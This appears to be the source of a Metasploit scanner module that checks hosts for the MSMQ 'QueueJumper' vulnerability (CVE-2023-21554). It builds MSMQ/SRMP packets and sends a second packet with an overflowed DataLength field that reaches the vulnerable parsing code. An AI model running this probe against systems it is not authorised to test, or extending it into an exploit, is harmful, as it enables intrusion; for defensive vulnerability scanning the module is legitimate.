CVE-2023-21554 QueueJumper – MSMQ Remote Code Execution Check

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require ‘bindata’

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘CVE-2023-21554 – QueueJumper – MSMQ RCE Check’,
‘Description’ => %q{
This module checks the provided hosts for the CVE-2023-21554 vulnerability by sending
a MSMQ message with an altered DataLength field within the SRMPEnvelopeHeader that
overflows the given buffer. On patched systems, the error is caught and no response
is sent back. On vulnerable systems, the integer wraps around and depending on the length
could cause an out-of-bounds write. In the context of this module a response is sent back,
which indicates that the system is vulnerable.
},
‘Author’ => [
‘Wayne Low’, # Vulnerability discovery
‘Haifei Li’, # Vulnerability discovery
‘Bastian Kanbach <bastian.kanbach@securesystems.de>’ # Metasploit Module, @__bka__
],
‘References’ => [
[ ‘CVE’, ‘2023-21554’ ],
[ ‘URL’, ‘https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21554’ ],
[ ‘URL’, ‘https://securityintelligence.com/posts/msmq-queuejumper-rce-vulnerability-technical-analysis/’ ]],
‘DisclosureDate’ => ‘2023-04-11’,
‘License’ => MSF_LICENSE,
‘Notes’ => {
‘Stability’ => [ CRASH_SAFE ],
‘SideEffects’ => [IOC_IN_LOGS],
‘Reliability’ => [REPEATABLE_SESSION],
‘AKA’ => [‘QueueJumper’]}
)
)
register_options([
Opt::RPORT(1801)
])
end

# Preparing message struct according to https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqrr/f9e71595-339a-4cc4-8341-371e0a4cb232

class BaseHeader < BinData::Record
# BaseHeader (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqmq/058cdeb4-7a3c-405b-989c-d32b9d6bddae)
#
# Simple header containing a static signature, packet size, some flags and some sort of timeout value for the message to arrive
#

endian :big

uint8 :version_number
uint8 :reserved
uint16 :flags
uint32 :signature
uint32le :packet_size
uint32le :time_to_reach_queue
end

class UserHeader < BinData::Record
# UserHeader (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqmq/056b43bc-2466-4342-8504-1630310d5965)
#
# The UserHeader is an essential header that defines the destination, message id,
# source, sent time and expiration time
#

endian :big

string :source_queue_manager, length: 16
string :queue_manager_address, length: 16
uint32le :time_to_be_received
uint32le :sent_time
uint32le :message_id
uint32 :flags
uint16le :destination_queue_length
string :destination_queue
string :padding
end

class MessagePropertiesHeader < BinData::Record
# MessagePropertiesHeader (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqmq/b219bdf4-1bf6-4688-94d8-25fdba45e5ec)
#
# This header contains meta information about the message like its label,
# message size and whether encryption is used.
#

endian :big

uint8 :flags
uint8 :label_length
uint16 :message_class
string :correlation_id, length: 20
uint32 :body_type
uint32 :application_tag
uint32 :message_size
uint32 :allocation_body_size
uint32 :privacy_level
uint32 :hash_algorithm
uint32 :encryption_algorithm
uint32 :extension_size
string :label
end

class SRMPEnvelopeHeader < BinData::Record
# SRMPEnvelopeHeader (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqrr/062b8317-2ade-4b1c-804d-1674b2fdcad3)
#
# This header contains information about the SOAP envelope of the message.
# It includes information about destination queue, label, message and sent
# or expiration dates.
# The Data field contains a SRMP Message Structure (https://learn.microsoft.com/en-us/openspecs/windows_protocols/mc-mqsrm/38cfc717-c703-46aa-a145-34f60b79399b)
#

endian :big

uint16 :header_id
uint16 :reserved
uint32le :data_length
string :data
string :padding
end

class CompoundMessageHeader < BinData::Record
# CompoundMessageHeader (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqrr/ecf70c09-d312-4afc-9e2c-f61a5c827f47)
#
# This header contains information about the SRMP compound message.
# This is basically a HTTP message containing HTTP headers and a SOAP
# body that defines parameters like the message destination, sent date,
# label and some more.
#

endian :big

uint16le :header_id
uint16 :reserved
uint32le :http_body_size
uint32le :msg_body_size
uint32le :msg_body_offset
string :data
end

class ExtensionHeader < BinData::Record
# ExtensionHeader (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqrr/baf230bf-7f15-4d03-bd1d-f8276608a955)
#
# Header detailing if any further headers are present. In this case
# no further headers were appended.
#

endian :big

uint32le :header_size
uint32le :remaining_headers_size
uint8 :flags
string :reserved, length: 3
end

def send_message(msg)
connect
sock.put(msg)
response = sock.timed_read(1024)
disconnect
return response
end

def run_host(ip)
base_header = BaseHeader.new

# Version number is always 0x10
base_header.version_number = 16

base_header.reserved = 0

# Flags: PR=3 (Message Priority)
base_header.flags = 768

# Signature is static and always set to ‘LIOR’
base_header.signature = 0x4C494F52

# TimeToReachQueue set to ‘infinite’ (0xFFFFFFFF)
base_header.time_to_reach_queue = 4294967295

user_header = UserHeader.new

# SourceQueueManager is set to a null UUID, since SRMP Messages use the SOAP Headers for this
user_header.source_queue_manager = “\x00” * 16

# QueueManagerAddress is set to a null UUID, since SRMP Messages use the SOAP Headers for this
user_header.queue_manager_address = “\x00” * 16

user_header.time_to_be_received = 0

# SentTime is set to an arbitrary value. For this purpose it doesn’t matter if it’s in the past
user_header.sent_time = 1690217059

user_header.message_id = 1

# Flags: RC=1, DQ=7 (Direct Format Type), F=1 (MessagePropertiesHeader present), J=1 (HTTP used)
user_header.flags = 18620418

# An arbitrary ip address and queue name was chosen to send the message.
# Usually this need to match an existing IP address and queue name, however
# for this Proof-of-Concept it doesn’t matter what values are used.
user_header.destination_queue = “http://192.168.10.100/msmq/private$/queuejumper\x00”.encode(‘utf-16le’)

user_header.destination_queue_length = user_header.destination_queue.length
user_header.padding = ”
user_header_padding_required = (4 – (user_header.to_binary_s.length % 4)) % 4
user_header.padding = “\x00” * user_header_padding_required

message_properties_header = MessagePropertiesHeader.new
message_properties_header.flags = 0
message_properties_header.message_class = 0
message_properties_header.correlation_id = “\x00” * 20
message_properties_header.body_type = 0
message_properties_header.application_tag = 0

# Usually this field contains the size of the message. In SRMP messages this is handles within the SOAP headers
message_properties_header.message_size = 0

message_properties_header.allocation_body_size = 0
message_properties_header.privacy_level = 0
message_properties_header.hash_algorithm = 0
message_properties_header.encryption_algorithm = 0
message_properties_header.extension_size = 0

# Label of the message was set to the arbitrary value ‘poc’
message_properties_header.label = “poc\x00”.encode(‘utf-16le’)

message_properties_header.label_length = message_properties_header.label.length / 2

srmp_envelope_header = SRMPEnvelopeHeader.new
srmp_envelope_header.header_id = 0
srmp_envelope_header.reserved = 0

# The payload within the SRMPEnvelopeHeader structure is a SOAP request that defines message label, destination queue
# and expiry and sent dates.
# Usually the destination information need to match the IP address and queue name, however
# for this Proof-of-Concept it doesn’t matter what values are used.
srmp_envelope_header.data = <<~EOF.chomp
<se:Envelope xmlns:se=”http://schemas.xmlsoap.org/soap/envelope/” \r
xmlns=”http://schemas.xmlsoap.org/srmp/”>\r
<se:Header>\r
<path xmlns=”http://schemas.xmlsoap.org/rp/” se:mustUnderstand=”1″>\r
<action>MSMQ:poc</action>\r
<to>http://192.168.10.100/msmq/private$/queuejumper</to>\r
<id>uuid:1@00000000-0000-0000-0000-000000000000</id>\r
</path>\r
<properties se:mustUnderstand=”1″>\r
<expiresAt>20600609T164419</expiresAt>\r
<sentAt>20230724T164419</sentAt>\r
</properties>\r
</se:Header>\r
<se:Body></se:Body>\r
</se:Envelope>\r\n\r\n\x00
EOF

srmp_envelope_header.data = srmp_envelope_header.data.encode(‘utf-16le’)
srmp_envelope_header.data_length = srmp_envelope_header.data.length / 2
srmp_envelope_header_padding_required = (4 – (srmp_envelope_header.to_binary_s.length % 4)) % 4
srmp_envelope_header.padding = “\x00” * srmp_envelope_header_padding_required

compound_message_header = CompoundMessageHeader.new

# HeaderId is set to an arbitrary value
compound_message_header.header_id = 500

compound_message_header.reserved = 0

# MsgBodySize denotes the size of the actual message
compound_message_header.msg_body_size = 7

# MsgBodyOffset is the offset of the actual message within the CompoundMessageHeader payload
compound_message_header.msg_body_offset = 995

# The data field within the CompoundMessageHeader structure contains a HTTP-POST request that is used to submit the message
# to MSMQ. It contains the destination host, the SOAP envelope from SRMPEnvelopeHeader, sent and expiry dates. The destination
# addresses and queue names don’t need to match for this proof-of-concept to work. With incorrect information the message will
# never reach the destination, however parsing of the structure and triggering the vulnerable code sequence happens before anyway.
compound_message_header.data = <<~EOF.chomp
POST /msmq HTTP/1.1\r
Content-Length: 816\r
Content-Type: multipart/related; boundary=”MSMQ – SOAP boundary, 53287″; type=text/xml\r
Host: 192.168.10.100\r
SOAPAction: “MSMQMessage”\r
Proxy-Accept: NonInteractiveClient\r
\r
–MSMQ – SOAP boundary, 53287\r
Content-Type: text/xml; charset=UTF-8\r
Content-Length: 606\r
\r
<se:Envelope xmlns:se=”http://schemas.xmlsoap.org/soap/envelope/” \r
xmlns=”http://schemas.xmlsoap.org/srmp/”>\r
<se:Header>\r
<path xmlns=”http://schemas.xmlsoap.org/rp/” se:mustUnderstand=”1″>\r
<action>MSMQ:poc</action>\r
<to>http://192.168.10.100/msmq/private$/queuejumper</to>\r
<id>uuid:1@00000000-0000-0000-0000-000000000000</id>\r
</path>\r
<properties se:mustUnderstand=”1″>\r
<expiresAt>20600609T164419</expiresAt>\r
<sentAt>20230724T164419</sentAt>\r
</properties>\r
</se:Header>\r
<se:Body></se:Body>\r
</se:Envelope>\r
\r
–MSMQ – SOAP boundary, 53287\r
Content-Type: application/octet-stream\r
Content-Length: 7\r
Content-Id: body@ff3af301-3196-497a-a918-72147c871a13\r
\r
Message\r
–MSMQ – SOAP boundary, 53287–\x00
EOF
compound_message_header.http_body_size = compound_message_header.data.length

extension_header = ExtensionHeader.new

# Extension header will be empty in this case. The length is set to the minimal value of 12.
extension_header.header_size = 12

extension_header.remaining_headers_size = 0
extension_header.flags = 0
extension_header.reserved = “\x00” * 3

# Total packet size within the BaseHeader is calculated, now that all message parts were instantiated
base_header.packet_size = base_header.to_binary_s.length + user_header.to_binary_s.length + message_properties_header.to_binary_s.length + srmp_envelope_header.to_binary_s.length + compound_message_header.to_binary_s.length + extension_header.to_binary_s.length

# A normal message is sent to the server. This should yield a result for both, vulnerable and patched MSMQ instances
response = send_message(base_header.to_binary_s + user_header.to_binary_s + message_properties_header.to_binary_s + srmp_envelope_header.to_binary_s + compound_message_header.to_binary_s + extension_header.to_binary_s)

if !response
print_error(‘No response received due to a timeout’)
return
end

if response.include?(‘LIOR’)
# Response from server contains the static signature value ‘LIOR’. Presence of MSMQ is confirmed
print_status(‘MSMQ detected. Checking for CVE-2023-21554’)
else
print_error(‘Service does not look like MSMQ’)
return
end

# This statement increases the DataLength field within the SRMPEnvelopeHeader by 0x80000000. This will cause
# an integer overflow, that overflows the 4 integer bytes. By adding this value the least significant 4 bytes will
# remain the same, to ensure that a vulnerable MSMQ instance doesn’t try to access invalid memory. This means that
# vulnerable instances are expected to sent a normal response, like for the first, unmodified packet.
#
# Patched instances will detect the overflow, throw an exception and stop processing the message. No response is expected.
srmp_envelope_header.data_length = srmp_envelope_header.data_length + 2147483648

response = send_message(base_header.to_binary_s + user_header.to_binary_s + message_properties_header.to_binary_s + srmp_envelope_header.to_binary_s + compound_message_header.to_binary_s + extension_header.to_binary_s)

if response.nil?
print_error(‘No response received, MSMQ seems to be patched’)
return
end

if response.include?(‘LIOR’)
print_good(‘MSMQ vulnerable to CVE-2023-21554 – QueueJumper!’)

# Add Report
report_vuln(
host: ip,
port: rport,
proto: ‘tcp’,
name: name,
info: ‘Missing Microsoft Windows patch for CVE-2023-21554’,
refs: references
)

else
print_error(‘Unknown response detected upon sending a malformed message. MSMQ might be vulnerable, but the behaviour is unusual’)
end
rescue ::Rex::ConnectionError
print_error(‘Unable to connect to the service’)
rescue ::Errno::ECONNRESET
print_error(‘Connection reset by service’)
rescue ::Errno::EPIPE
print_error(‘pipe error’)
rescue Timeout::Error
print_error(‘Timeout after waiting for service to respond’)
rescue StandardError => e
print_error(e)
end
end